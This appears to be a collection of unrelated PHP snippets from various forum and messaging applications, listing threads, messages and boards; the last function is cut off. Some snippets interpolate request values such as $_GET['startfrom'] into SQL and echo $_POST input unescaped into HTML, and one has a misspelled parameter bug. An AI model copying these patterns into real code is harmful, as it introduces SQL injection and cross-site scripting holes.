"function messageThreadTree( $threadID, $showUnApprived = false, $offset = 0, $limit = 100 )\r\n {\r\n $db =& eZDB::globalDatabase();\r\n\r\n if ( !isSet( $showUnApproved ) || !$showUnApproved )\r\n $showUnApproved = \" AND IsApproved='1' \";\r\n else\r\n $showUnApproved = \" AND IsApproved='0' \";\r\n\r\n $db->array_query( $message_array, \"SELECT ID, TreeID FROM eZForum_Message\r\n WHERE ForumID='$this->ID'\r\n AND ThreadID='$threadID'\r\n AND IsTemporary='0'\r\n $showUnApproved\r\n ORDER BY TreeID DESC\",\r\n array( \"Limit\" => $limit, \"Offset\" => $offset ) );\r\n\r\n $ret = array();\r\n\r\n foreach ( $message_array as $message )\r\n {\r\n $ret[] = new eZForumMessage( $message[$db->fieldName(\"ID\")] );\r\n }\r\n\r\n return $ret;\r\n }",
"function show_all_messages($board){\n\t\tglobal $print, $x7s, $x7c, $db, $prefix;\n\n\t\t$head=\"Board \".$board['name'];\n\t\t$body=\"<script language=\\\"javascript\\\" type=\\\"text/javascript\\\">\n function do_delete(url){\n if(!confirm('Vuoi davvero cancellare il messaggio?'))\n return;\n\n window.location.href=url;\n }\n </script>\n\t\t\";\n\t\t$indice = indice_board();\n\t\t\n\t\t$maxmsg=10;\n\t\t$navigator='<p style=\"text-align: center;\">';;\n\t\t\n\t\tif(isset($_GET['startfrom'])){\n\t\t\t$limit=$_GET['startfrom'];\n\t\t}\n\t\telse\n\t\t\t$limit=0;\n\t\t\n\t\t$query = $db->DoQuery(\"SELECT count(*) AS total FROM {$prefix}boardmsg WHERE board='{$board['id']}' AND father='0'\");\n\t\t$row = $db->Do_Fetch_Assoc($query);\n\t\t$total = $row['total'];\n\t\t\n\t\tif($total > $maxmsg){\n\t\t\t$i=0;\n\t\t\twhile($total > 0){\n\t\t\t\tif((isset($_GET['startfrom']) && $_GET['startfrom'] == $i) || (!isset($_GET['startfrom']) && $i == 0))\n\t\t\t\t\t$navigator .= \"<a href=\\\"index.php?act=boards&board=$board[id]&startfrom=$i\\\"><b>[\".($i+1).\"]</b></a> \";\n\t\t\t\telse\n\t\t\t\t\t$navigator .= \"<a href=\\\"index.php?act=boards&board=$board[id]&startfrom=$i\\\">\".($i+1).\"</a> \";\n\t\t\t\t$i++;\n\t\t\t\t$total -= $maxmsg;\n\t\t\t\t\n\t\t\t}\n\t\t\t$navigator.=\"</p>\";\n\t\t}\n\t\t\n\t\t\t\n\t\t$limit_min = $limit * $maxmsg;\n\t\t$limit_max = $maxmsg;\t\t\n\t\t\n\t\t$query = $db->DoQuery(\"SELECT * FROM {$prefix}boardmsg \n\t\t\t\tWHERE board='{$board['id']}' \n\t\t\t\tAND father='0' ORDER BY last_update DESC LIMIT $limit_min, $limit_max\");\n\n\t\t\n\t\tif(!$board['readonly'] || checkIfMaster()){\n\t\t\t$body .=\"<a href=./index.php?act=boards&send=\".$board['id'].\">Nuova comunicazione</a><br>\";\n\t\t}\n\t\t\n\t\t$body.=$navigator;\n\t\t$unreads = get_unread();\n\t\twhile($row = $db->Do_Fetch_Assoc($query)){\n\t\t\t$q_new = $db->DoQuery(\"SELECT count(*) AS cnt FROM {$prefix}boardmsg msg, {$prefix}boardunread un\n\t\t\t\t\t\tWHERE\tmsg.id=un.id\n\t\t\t\t\t\tAND un.user='{$x7s->username}'\n\t\t\t\t\t\tAND board='{$board['id']}' AND father='$row[id]'\");\n\t\t\t$new_replies = $db->Do_Fetch_Assoc($q_new);\n\t\t\t\n\t\t\t$unread='';\n\t\t\tif(isset($unreads[$row['id']]))\n\t\t\t\t$unread = \"<b>(Nuovo) </b>\";\n\n\t\t\tif($new_replies['cnt']>0){\n\t\t\t\t$unread .= \"<b>(Nuove repliche: $new_replies[cnt])</b>\";\n\t\t\t}\n\t\t\t\n\t\t\t$nb = board_msg_split($row['body']);\n\t\t\t$msg = $nb[0];\n\t\t\t$object = $nb[1];\n\t\t\t$msgid=$row['id'];\n\t\t\t$user=$row['user'];\n\n\t\t\tif ($row['anonymous']) {\n\t\t\t\tif (checkIfMaster()) {\n\t\t\t\t\t$user .= \" (anonimo)\";\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$user = \"Anonimo\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$body.=\"<p>\".$user.\"<br><a href=./index.php?act=boards&board=\".$board['id'].\"&message=\".$row['id'].\">\n\t\t\t\t <b>\".$object.\"</b> \".$unread.\"</a>\";\n\t\t\t\t\n\t\t\tif(checkIfMaster()){\n\t\t\t\t$startfrom = \"\";\n\t\t\t\tif (isset($_GET['startfrom']))\n\t\t\t\t\t$startfrom = \"&startfrom=\".$_GET['startfrom'];\n\n\t\t\t\t$body.=\" <a href=\\\"#\\\" onClick=\\\"javascript: do_delete('./index.php?act=boards&delete=$msgid$startfrom')\\\">[Delete]</a>\";\n\t\t\t\t$body.=\" <a href=./index.php?act=boards&move=$msgid>[Sposta]</a>\";\n }\n\t\t\t\n\t\t\t$body.=\"</p><hr>\";\n\t\t\n\t\t}\n\t\t$body.=$navigator;\n\t\tif(!$board['readonly'] || checkIfMaster()){\n\t\t\t$body .=\"<br><br><a href=./index.php?act=boards&send=\".$board['id'].\">Nuova comunicazione</a><br>\";\n\t\t}\n\t\t\n\t\t$print->board_window($head,$body,$indice);\n\t\t\n\t}",
"public function index()\n {\n if (!is_logged_in()) {\n redirect(url('user/index'));\n }\n\n $thread_count = Thread::getNumRows();\n $pagination = pagination($thread_count);\n $threads = Thread::getAll($pagination['max']);\n $this->set(get_defined_vars());\n }",
"public function index()\n {\n $threads = Thread::orderBy('created_at', 'desc')->paginate(5);\n $data = [\n 'threads' => $threads\n ];\n return view('ask-index')->with('data', $data);\n }",
"function index() {\n\t\t$this->set('messageType', \"all\");\n\n\t\t$allMessages['dis'] = array($this->__loadMessage(\"dis\"),\"Discussion\");\n\t\t$allMessages['inf'] = array($this->__loadMessage(\"inf\"),\"Information\");\n\n\t\t$this->set('allMessages', $allMessages);\n\t}",
"public function index()\n\t{\n\n $sender_id = 2;\n $recipients = 1;\n $subject = 'Test message '.uniqid();\n $body = 'hellow world, Welcome';\n //$this->message->send_new_message($sender_id,$recipients,$subject,$body,PRIORITY_NORMAL);\n $this->global['message_threads'] = $this->message->get_all_threads($this->userId);\n $this->global['pageTitle'] = 'Mail';\n \n $this->loadViews(\"mailbox/inbox\", $this->global, NULL , NULL);\n\n\t}",
"public function notify_list(){\n\n\t\tif(!empty($_SESSION[\"notify\"][\"messages\"])){\n\n\n\t\t\techo \"<ul id=\\\"notify-messages\\\">\";\n\t\t\tforeach ($_SESSION[\"notify\"][\"messages\"] as $message) {\n\t\t\t\techo \"<li data-type=\\\"\".$message[\"type\"].\"\\\">\" . $message[\"message\"] . \"</li>\";\n\t\t\t}\n\t\t\techo \"</ul>\";\n\t\t}\n\n\t\t//limpar o queue de notifications\n\t\tself::notify_empty();\n\n\t}",
"function mentionMeShowThreadStart()\n{\n\tglobal $mybb, $mentionScript, $mentionQuickReply,\n\t$mentionedIDs, $lang, $tid, $templates;\n\n\t// we only need the extra JS and Quick Reply additions if we are allowing multiple mentions\n\tif ($mybb->settings['mention_multiple']) {\n\t\t$multi = '_multi';\n\t\teval(\"\\$mentionQuickReply = \\\"\" . $templates->get('mentionme_quickreply_notice') . \"\\\";\");\n\n\t\t$mentionedIDs = <<<EOF\n\n\t<input type=\"hidden\" name=\"mentioned_ids\" value=\"\" id=\"mentioned_ids\" />\nEOF;\n\t}\n\n\tif ($mybb->settings['mention_minify_js']) {\n\t\t$min = '.min';\n\t}\n\n\t$mentionScript = <<<EOF\n<script type=\"text/javascript\" src=\"jscripts/MentionMe/thread{$multi}{$min}.js\"></script>\n\nEOF;\n}",
"function thread( $args )\n\t{\n\t $thread_id = (int)$args['id'];\n\t \n\t // check for existance, use threads model\n\t $threads_model = $this->app->\n\t model('forum_threads','forum/models');\n\t \n\t\t// boards model\n\t\t$boards_model = $this->app->\n\t\t model('forum_boards', 'forum/models'); \n\t \n\t // posts model\n\t $posts_model = $this->app->\n\t model('forum_posts','forum/models');\n\t \n\t // get item\n\t $thread = $threads_model->get_item( $thread_id );\n\t $thread = ( count($thread) > 0 ) ? $thread[0] : null;\n\t \n\t \n\t // imprtant stuffs\n\t if( $thread == null ){\n\t \n\t \t// redirect\n\t \t$this->app->redirect('forum');\n\t }\n\t \n\t \n // get board\n $board = $boards_model->get_item((int)$thread['board_id']);\n $board = $board[0];\n \n // set page title\n $this->view->add('page_title',\n 'Viewing thread: ' . $thread['name'] );\n \n // set index action\n $this->view->add('index_action',\n $this->app->form_path('forum'));\n \n // set board action\n $this->view->add('board_action',\n $this->app->form_path('forum/board/'.$board['id']));\n \n // good\n $this->view->add('board_name', $board['name'] );\n\t \n\t // need an action message\n\t $action_message = null;\n\t \n\t // init text area values\n\t $name_value = '';\n\t $post_value = '';\n\t \n\t \n\t // check for post\n\t if( $_SERVER['REQUEST_METHOD'] == 'POST' &&\n\t \tisset($_POST['name']) &&\n\t \t$_POST['name'] != null &&\n\t \tisset($_POST['post']) &&\n\t \t$_POST['name'] != null \n\t ){\n\t \t\n\t \t// add success\n\t \t$success = $posts_model->new_item( \n\t \t\t$this->app->user->get_user_id(), $thread_id, $_POST );\n\t \t\n\t \t// test for success\n\t \tif( $success ){\n\t \t\n\t \t\t// increment reply count\n\t \t\t$threads_model->increment_reply( $thread_id );\n\t \t\t\t \t\n\t \t\t$action_message = 'Post successfully added.';\n\t \t} else {\n\t \t\t$action_message = 'There was an error adding your post';\n\t \t}\n\t \t\n\t } elseif( $_SERVER['REQUEST_METHOD'] == 'POST' ) {\n\t \t\n\t \t$action_message = 'One or more required fields was not\n\t \t\tprovided';\n\t \t\t\n\t \t// update values\n\t\t\t$name_value = 'value=\"'.$_POST['name'].'\"';\n\t\t\t$post_value = $_POST['post'];\n\t }\n\t \n\t \n\t // add them\n\t $this->view->add('name_value',$name_value);\n\t $this->view->add('post_value',$post_value);\n\t \n\t // add actio message\n\t $this->view->add('action_message',$action_message);\n\t \n\t // get limits\n\t $limit = 10;\n\t \n\t // get page\n\t $page = 0;\n\t if( isset($_GET['p']) ){\n\t $page = (int)$_GET['p'];\n\t }\n\t \n\t // get replies\n\t $posts_result = $posts_model->limit($limit)->page($page)->\n\t get_all($thread_id);\n\t \n\t //\n\t $this->view->add('posts_result',$posts_result);\n\t \n\t $reply_count = ($thread==null) ? 0 :(int)$thread['reply_count'];\n\t \n\t // add paging\n\t $this->view->add('page_info',array(\n\t // posts count\n\t 'page_count' => (int)(($reply_count) / $limit)+1,\n\t 'this_page' => $page\n\t ));\n\t \n\t \n\t // add actions\n\t $this->view->add('page_action',\n\t $this->app->form_path('forum/thread/'.$thread_id.'?p='));\n\t \n\t $this->view->add('reply_action',$this->app->\n\t form_path('forum/thread/'.$thread_id.'?p='.$page));\n\t \n\t \n\t // add to the view\n\t $this->view->add('thread_result',$thread);\n\t \n\t \n\t // get wysiwyg extension\n\t $wysiwyg = $this->app->extension('wysiwyg');\n\t \n\t}",
"public function teacherMessageList() {\n \t$teachersMessage=TeacherMessage::all();\n \treturn view('admin.teacherMessage.message-list' ,compact('teachersMessage'));\n }",
"function show_thread_and_context($thread, $user, $i) {\n $thread_forum = BoincForum::lookup_id($thread->forum);\n if (!$thread_forum) return;\n if (!is_forum_visible_to_user($thread_forum, $user)) return;\n $owner = BoincUser::lookup_id($thread->owner);\n $j = $i % 2;\n echo \"<tr class=row$j><td>\\n\";\n switch($thread_forum->parent_type) {\n case 0:\n $category = BoincCategory::lookup_id($thread_forum->category);\n show_forum_title($category, $thread_forum, $thread, true);\n break;\n case 1:\n show_team_forum_title($thread_forum, $thread);\n break;\n }\n echo '\n </td><td class=\"numbers\">'.($thread->replies+1).'</td>\n <td>'.user_links($owner).'</td>\n <td class=\"numbers\">'.$thread->views.'</td>\n <td class=\"lastpost\">'.time_diff_str($thread->timestamp, time()).'</td>\n </tr>\n ';\n}",
"public function show(Thread $thread)\n {\n }",
"public function index()\n {\n $threads = Thread::with('user', 'votes')->withCount('replies')->latest()->paginate(10);\n // return $threads;\n return view('pertanyaan.index', compact('threads'));\n }",
"public function show(Thread $thread)\n {\n //\n }",
"function getMessagesPrint(){\r\n foreach ($this->messages as $key => $value) {\r\n echo $this->messagePrefixForPrint.$value.\"<br>\\n\";\r\n }\r\n }",
"public function MyMessages(){\n\n\t\t$headerData = null;\n\t\t$sidebarData = null;\n\t\t$page = 'admin/myMessage';\n\t\t$mainData = array(\n\t\t\t'pagetitle'=> 'Messages',\n\t\t\t'londontec' => $this->setting_model->Get_All('londontec_users'),\n\t\t\t'student' => $this->setting_model->Get_All('students'),\n\t\t\t'message' => $this->setting_model->Get_All_DESCENDING('message','message_id'),\n\t\t);\n\t\t$footerData = null;\n\n\t\t$this->template($headerData, $sidebarData, $page, $mainData, $footerData);\n\t}",
"public function index() {\n $threads_1 = DB::table('threads')\n ->join('users','users.id', '=', 'threads.user_id')\n ->select('threads.*', 'users.name')\n ->where('threads.category', '=', '1')\n ->orderBy('updated_at', 'desc')\n ->get();\n $threads_2 = DB::table('threads')\n ->join('users','users.id', '=', 'threads.user_id')\n ->select('threads.*', 'users.name')\n ->where('category', '=', '2')\n ->orderBy('updated_at', 'desc')\n ->get();\n $threads_3 = DB::table('threads')\n ->join('users','users.id', '=', 'threads.user_id')\n ->select('threads.*', 'users.name')\n ->where('category', '=', '3')\n ->orderBy('updated_at', 'desc')\n ->get();\n $threads_4 = DB::table('threads')\n ->join('users','users.id', '=', 'threads.user_id')\n ->select('threads.*', 'users.name')\n ->where('category', '=', '4')\n ->orderBy('updated_at', 'desc')\n ->get();\n \treturn view('thread', ['threads_1' => $threads_1, 'threads_2' => $threads_2, \n 'threads_3' => $threads_3, 'threads_4' => $threads_4]);\n }",
"public function get_threads() {\n\n\t\t//return $query->result();\n\t}",
"public function index(Thread $thread)\n {\n return response(['messages' => $thread->messages], 200);\n }",
"public function actionIndex()\n {\n $userid = Yii::$app->user->id;\n $messages = Message::find()->where(['to_user_id' => $userid])->orderBy(['id' => SORT_DESC])->all();\n $usersinfo = Message::find()->where(['to_user_id' => $userid])->select(['from_user_id'])->all();\n $names = Yii::$app->db->createCommand('\n SELECT DISTINCT from_user_id FROM message WHERE to_user_id='.$userid.'\n UNION ALL\n SELECT DISTINCT to_user_id FROM message WHERE from_user_id='.$userid.'\n')->queryAll();\n $dataProvider = new ActiveDataProvider([\n 'query' => Message::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n 'messages' => $messages,\n 'usersinfo' => $usersinfo,\n 'names' => $names,\n ]);\n }",
"public function threadsWithNewMessages()\n {\n $threadsWithNewMessages = [];\n $participants = Participant::where('user_id', $this->id)->lists('last_read', 'thread_id');\n\n /**\n * @todo: see if we can fix this more in the future.\n * Illuminate\\Foundation is not available through composer, only in laravel/framework which\n * I don't want to include as a dependency for this package...it's overkill. So let's\n * exclude this check in the testing environment.\n */\n if (getenv('APP_ENV') == 'testing' || !str_contains(\\Illuminate\\Foundation\\Application::VERSION, '5.0')) {\n $participants = $participants->all();\n }\n\n if ($participants) {\n $threads = Thread::whereIn('id', array_keys($participants))->get();\n\n foreach ($threads as $thread) {\n if ($thread->updated_at > $participants[$thread->id]) {\n $threadsWithNewMessages[] = $thread->id;\n }\n }\n }\n\n return $threadsWithNewMessages;\n }",
"function tn_messages() {\n\tdo_action( 'tn_messages' );\n}",
"public function threads(){\n \treturn $this->HasMany('App\\Models\\MessageThread', 'room_id');\n }",
"public function messages();",
"public function messages();",
"public function messages();",
"public static function print_inbox_row($thread_id)\n {\n echo \"DONE!\";\n }",
"public function action_messageindex()\n\t{\n\t\tglobal $txt, $board, $modSettings, $context, $options, $settings, $board_info;\n\n\t\t// Fairly often, we'll work with boards. Current board, sub-boards.\n\t\trequire_once(SUBSDIR . '/Boards.subs.php');\n\n\t\t// If this is a redirection board head off.\n\t\tif ($board_info['redirect'])\n\t\t{\n\t\t\tincrementBoard($board, 'num_posts');\n\t\t\tredirectexit($board_info['redirect']);\n\t\t}\n\n\t\ttheme()->getTemplates()->load('MessageIndex');\n\t\tloadJavascriptFile('topic.js');\n\n\t\t$bbc = ParserWrapper::instance();\n\n\t\t$context['name'] = $board_info['name'];\n\t\t$context['sub_template'] = 'topic_listing';\n\t\t$context['description'] = $bbc->parseBoard($board_info['description']);\n\t\t$template_layers = theme()->getLayers();\n\n\t\t// How many topics do we have in total?\n\t\t$board_info['total_topics'] = allowedTo('approve_posts') ? $board_info['num_topics'] + $board_info['unapproved_topics'] : $board_info['num_topics'] + $board_info['unapproved_user_topics'];\n\n\t\t// View all the topics, or just a few?\n\t\t$context['topics_per_page'] = empty($modSettings['disableCustomPerPage']) && !empty($options['topics_per_page']) ? $options['topics_per_page'] : $modSettings['defaultMaxTopics'];\n\t\t$context['messages_per_page'] = empty($modSettings['disableCustomPerPage']) && !empty($options['messages_per_page']) ? $options['messages_per_page'] : $modSettings['defaultMaxMessages'];\n\t\t$maxindex = isset($this->_req->query->all) && !empty($modSettings['enableAllMessages']) ? $board_info['total_topics'] : $context['topics_per_page'];\n\n\t\t// Right, let's only index normal stuff!\n\t\t$session_name = session_name();\n\t\tforeach ($this->_req->query as $k => $v)\n\t\t{\n\t\t\t// Don't index a sort result etc.\n\t\t\tif (!in_array($k, array('board', 'start', $session_name)))\n\t\t\t{\n\t\t\t\t$context['robot_no_index'] = true;\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($this->_req->query->start) && (!is_numeric($this->_req->query->start) || $this->_req->query->start % $context['messages_per_page'] !== 0))\n\t\t{\n\t\t\t$context['robot_no_index'] = true;\n\t\t}\n\n\t\t// If we can view unapproved messages and there are some build up a list.\n\t\tif (allowedTo('approve_posts') && ($board_info['unapproved_topics'] || $board_info['unapproved_posts']))\n\t\t{\n\t\t\t$untopics = $board_info['unapproved_topics'] ? '<a href=\"' . getUrl('action', ['action' => 'moderate', 'area' => 'postmod', 'sa' => 'topics', 'brd' => $board]) . '\">' . $board_info['unapproved_topics'] . '</a>' : 0;\n\t\t\t$unposts = $board_info['unapproved_posts'] ? '<a href=\"' . getUrl('action', ['action' => 'moderate', 'area' => 'postmod', 'sa' => 'posts', 'brd' => $board]) . '\">' . ($board_info['unapproved_posts'] - $board_info['unapproved_topics']) . '</a>' : 0;\n\t\t\t$context['unapproved_posts_message'] = sprintf($txt['there_are_unapproved_topics'], $untopics, $unposts, getUrl('action', ['action' => 'moderate', 'area' => 'postmod', 'sa' => ($board_info['unapproved_topics'] ? 'topics' : 'posts'), 'brd' => $board]));\n\t\t}\n\n\t\t// And now, what we're here for: topics!\n\t\trequire_once(SUBSDIR . '/MessageIndex.subs.php');\n\n\t\t// Known sort methods.\n\t\t$sort_methods = messageIndexSort();\n\t\t$default_sort_method = 'last_post';\n\n\t\t// We only know these.\n\t\tif (isset($this->_req->query->sort) && !isset($sort_methods[$this->_req->query->sort]))\n\t\t{\n\t\t\t$this->_req->query->sort = $default_sort_method;\n\t\t}\n\n\t\t// Make sure the starting place makes sense and construct the page index.\n\t\t$sort_string = '';\n\t\tif (isset($this->_req->query->sort))\n\t\t{\n\t\t\t$sort_string = ';sort=' . $this->_req->query->sort . (isset($this->_req->query->desc) ? ';desc' : '');\n\t\t}\n\n\t\t$context['page_index'] = constructPageIndex('{scripturl}?board=' . $board . '.%1$d' . $sort_string, $this->_req->query->start, $board_info['total_topics'], $maxindex, true);\n\t\t$context['start'] = &$this->_req->query->start;\n\n\t\t// Set a canonical URL for this page.\n\t\t$context['canonical_url'] = getUrl('board', ['board' => $board, 'start' => $context['start'], 'name' => $board_info['name']]);\n\n\t\t$context['links'] += array(\n\t\t\t'prev' => $this->_req->query->start >= $context['topics_per_page'] ? getUrl('board', ['board' => $board, 'start' => $this->_req->query->start - $context['topics_per_page'], 'name' => $board_info['name']]) : '',\n\t\t\t'next' => $this->_req->query->start + $context['topics_per_page'] < $board_info['total_topics'] ? getUrl('board', ['board' => $board, 'start' => $this->_req->query->start + $context['topics_per_page'], 'name' => $board_info['name']]) : '',\n\t\t);\n\n\t\tif (isset($this->_req->query->all) && !empty($modSettings['enableAllMessages']) && $maxindex > $modSettings['enableAllMessages'])\n\t\t{\n\t\t\t$maxindex = $modSettings['enableAllMessages'];\n\t\t\t$this->_req->query->start = 0;\n\t\t}\n\n\t\t// Build a list of the board's moderators.\n\t\t$context['moderators'] = &$board_info['moderators'];\n\t\t$context['link_moderators'] = array();\n\t\tif (!empty($board_info['moderators']))\n\t\t{\n\t\t\tforeach ($board_info['moderators'] as $mod)\n\t\t\t{\n\t\t\t\t$context['link_moderators'][] = '<a href=\"' . getUrl('profile', ['action' => 'profile', 'u' => $mod['id'], 'name' => $mod['name']]) . '\" title=\"' . $txt['board_moderator'] . '\">' . $mod['name'] . '</a>';\n\t\t\t}\n\t\t}\n\n\t\t// Mark current and parent boards as seen.\n\t\tif ($this->user->is_guest === false)\n\t\t{\n\t\t\t// We can't know they read it if we allow prefetches.\n\t\t\tstop_prefetching();\n\n\t\t\t// Mark the board as read, and its parents.\n\t\t\tif (!empty($board_info['parent_boards']))\n\t\t\t{\n\t\t\t\t$board_list = array_keys($board_info['parent_boards']);\n\t\t\t\t$board_list[] = $board;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$board_list = array($board);\n\t\t\t}\n\n\t\t\t// Mark boards as read. Boards alone, no need for topics.\n\t\t\tmarkBoardsRead($board_list, false, false);\n\n\t\t\t// Clear topicseen cache\n\t\t\tif (!empty($board_info['parent_boards']))\n\t\t\t{\n\t\t\t\t// We've seen all these boards now!\n\t\t\t\tforeach ($board_info['parent_boards'] as $k => $dummy)\n\t\t\t\t{\n\t\t\t\t\tif (isset($_SESSION['topicseen_cache'][$k]))\n\t\t\t\t\t{\n\t\t\t\t\t\tunset($_SESSION['topicseen_cache'][$k]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (isset($_SESSION['topicseen_cache'][$board]))\n\t\t\t{\n\t\t\t\tunset($_SESSION['topicseen_cache'][$board]);\n\t\t\t}\n\n\t\t\t// From now on, they've seen it. So we reset notifications.\n\t\t\t$context['is_marked_notify'] = resetSentBoardNotification($this->user->id, $board);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$context['is_marked_notify'] = false;\n\t\t}\n\n\t\t// 'Print' the header and board info.\n\t\t$context['page_title'] = strip_tags($board_info['name']);\n\n\t\t// Set the variables up for the template.\n\t\t$context['can_mark_notify'] = allowedTo('mark_notify') && $this->user->is_guest === false;\n\t\t$context['can_post_new'] = allowedTo('post_new') || ($modSettings['postmod_active'] && allowedTo('post_unapproved_topics'));\n\t\t$context['can_post_poll'] = !empty($modSettings['pollMode']) && allowedTo('poll_post') && $context['can_post_new'];\n\t\t$context['can_moderate_forum'] = allowedTo('moderate_forum');\n\t\t$context['can_approve_posts'] = allowedTo('approve_posts');\n\n\t\t// Prepare sub-boards for display.\n\t\t$boardIndexOptions = array(\n\t\t\t'include_categories' => false,\n\t\t\t'base_level' => $board_info['child_level'] + 1,\n\t\t\t'parent_id' => $board_info['id'],\n\t\t\t'set_latest_post' => false,\n\t\t\t'countChildPosts' => !empty($modSettings['countChildPosts']),\n\t\t);\n\t\t$boardlist = new BoardsList($boardIndexOptions);\n\t\t$context['boards'] = $boardlist->getBoards();\n\n\t\t// Nosey, nosey - who's viewing this board?\n\t\tif (!empty($settings['display_who_viewing']))\n\t\t{\n\t\t\trequire_once(SUBSDIR . '/Who.subs.php');\n\t\t\tformatViewers($board, 'board');\n\t\t}\n\n\t\t// They didn't pick one, default to by last post descending.\n\t\tif (!isset($this->_req->query->sort) || !isset($sort_methods[$this->_req->query->sort]))\n\t\t{\n\t\t\t$context['sort_by'] = $default_sort_method;\n\t\t\t$ascending = isset($this->_req->query->asc);\n\t\t}\n\t\t// Otherwise sort by user selection and default to ascending.\n\t\telse\n\t\t{\n\t\t\t$context['sort_by'] = $this->_req->query->sort;\n\t\t\t$ascending = !isset($this->_req->query->desc);\n\t\t}\n\n\t\t$sort_column = $sort_methods[$context['sort_by']];\n\n\t\t$context['sort_direction'] = $ascending ? 'up' : 'down';\n\t\t$context['sort_title'] = $ascending ? $txt['sort_desc'] : $txt['sort_asc'];\n\n\t\t// Trick\n\t\t$txt['starter'] = $txt['started_by'];\n\n\t\t// todo: Need to move this to theme.\n\t\tforeach ($sort_methods as $key => $val)\n\t\t{\n\t\t\tswitch ($key)\n\t\t\t{\n\t\t\t\tcase 'subject':\n\t\t\t\tcase 'starter':\n\t\t\t\tcase 'last_poster':\n\t\t\t\t\t$sorticon = 'alpha';\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$sorticon = 'numeric';\n\t\t\t}\n\n\t\t\t$context['topics_headers'][$key] = array(\n\t\t\t\t'url' => getUrl('board', ['board' => $context['current_board'], 'start' => $context['start'], 'sort' => $key, 'name' => $board_info['name'], $context['sort_by'] == $key && $context['sort_direction'] === 'up' ? 'desc' : '']),\n\t\t\t\t'sort_dir_img' => $context['sort_by'] == $key ? '<i class=\"icon icon-small i-sort-' . $sorticon . '-' . $context['sort_direction'] . '\" title=\"' . $context['sort_title'] . '\"><s>' . $context['sort_title'] . '</s></i>' : '',\n\t\t\t);\n\t\t}\n\n\t\t// Calculate the fastest way to get the topics.\n\t\t$start = (int) $this->_req->query->start;\n\t\tif ($start > ($board_info['total_topics'] - 1) / 2)\n\t\t{\n\t\t\t$ascending = !$ascending;\n\t\t\t$fake_ascending = true;\n\t\t\t$maxindex = $board_info['total_topics'] < $start + $maxindex + 1 ? $board_info['total_topics'] - $start : $maxindex;\n\t\t\t$start = $board_info['total_topics'] < $start + $maxindex + 1 ? 0 : $board_info['total_topics'] - $start - $maxindex;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$fake_ascending = false;\n\t\t}\n\n\t\t$context['topics'] = array();\n\n\t\t// Set up the query options\n\t\t$indexOptions = array(\n\t\t\t'only_approved' => $modSettings['postmod_active'] && !allowedTo('approve_posts'),\n\t\t\t'previews' => !empty($modSettings['message_index_preview']) ? (empty($modSettings['preview_characters']) ? -1 : $modSettings['preview_characters']) : 0,\n\t\t\t'include_avatars' => $settings['avatars_on_indexes'],\n\t\t\t'ascending' => $ascending,\n\t\t\t'fake_ascending' => $fake_ascending\n\t\t);\n\n\t\t// Allow integration to modify / add to the $indexOptions\n\t\tcall_integration_hook('integrate_messageindex_topics', array(&$sort_column, &$indexOptions));\n\n\t\t$topics_info = messageIndexTopics($board, $this->user->id, $start, $maxindex, $context['sort_by'], $sort_column, $indexOptions);\n\n\t\t$context['topics'] = TopicUtil::prepareContext($topics_info, false, !empty($modSettings['preview_characters']) ? $modSettings['preview_characters'] : 128);\n\n\t\t// Allow addons to add to the $context['topics']\n\t\tcall_integration_hook('integrate_messageindex_listing', array($topics_info));\n\n\t\t// Fix the sequence of topics if they were retrieved in the wrong order. (for speed reasons...)\n\t\tif ($fake_ascending)\n\t\t{\n\t\t\t$context['topics'] = array_reverse($context['topics'], true);\n\t\t}\n\n\t\t$topic_ids = array_keys($context['topics']);\n\n\t\tif (!empty($modSettings['enableParticipation']) && $this->user->is_guest === false && !empty($topic_ids))\n\t\t{\n\t\t\t$topics_participated_in = topicsParticipation($this->user->id, $topic_ids);\n\t\t\tforeach ($topics_participated_in as $participated)\n\t\t\t{\n\t\t\t\t$context['topics'][$participated['id_topic']]['is_posted_in'] = true;\n\t\t\t\t$context['topics'][$participated['id_topic']]['class'] = 'my_' . $context['topics'][$participated['id_topic']]['class'];\n\t\t\t}\n\t\t}\n\n\t\t$context['jump_to'] = array(\n\t\t\t'label' => addslashes(un_htmlspecialchars($txt['jump_to'])),\n\t\t\t'board_name' => htmlspecialchars(strtr(strip_tags($board_info['name']), array('&' => '&')), ENT_COMPAT, 'UTF-8'),\n\t\t\t'child_level' => $board_info['child_level'],\n\t\t);\n\n\t\t// Is Quick Moderation active/needed?\n\t\tif (!empty($options['display_quick_mod']) && !empty($context['topics']))\n\t\t{\n\t\t\t$context['can_markread'] = $context['user']['is_logged'];\n\t\t\t$context['can_lock'] = allowedTo('lock_any');\n\t\t\t$context['can_sticky'] = allowedTo('make_sticky');\n\t\t\t$context['can_move'] = allowedTo('move_any');\n\t\t\t$context['can_remove'] = allowedTo('remove_any');\n\t\t\t$context['can_merge'] = allowedTo('merge_any');\n\n\t\t\t// Ignore approving own topics as it's unlikely to come up...\n\t\t\t$context['can_approve'] = $modSettings['postmod_active'] && allowedTo('approve_posts') && !empty($board_info['unapproved_topics']);\n\n\t\t\t// Can we restore topics?\n\t\t\t$context['can_restore'] = allowedTo('move_any') && !empty($modSettings['recycle_enable']) && $modSettings['recycle_board'] == $board;\n\n\t\t\t// Set permissions for all the topics.\n\t\t\tforeach ($context['topics'] as $t => $topic)\n\t\t\t{\n\t\t\t\t$started = $topic['first_post']['member']['id'] == $this->user->id;\n\t\t\t\t$context['topics'][$t]['quick_mod'] = array(\n\t\t\t\t\t'lock' => allowedTo('lock_any') || ($started && allowedTo('lock_own')),\n\t\t\t\t\t'sticky' => allowedTo('make_sticky'),\n\t\t\t\t\t'move' => allowedTo('move_any') || ($started && allowedTo('move_own')),\n\t\t\t\t\t'modify' => allowedTo('modify_any') || ($started && allowedTo('modify_own')),\n\t\t\t\t\t'remove' => allowedTo('remove_any') || ($started && allowedTo('remove_own')),\n\t\t\t\t\t'approve' => $context['can_approve'] && $topic['unapproved_posts']\n\t\t\t\t);\n\t\t\t\t$context['can_lock'] |= ($started && allowedTo('lock_own'));\n\t\t\t\t$context['can_move'] |= ($started && allowedTo('move_own'));\n\t\t\t\t$context['can_remove'] |= ($started && 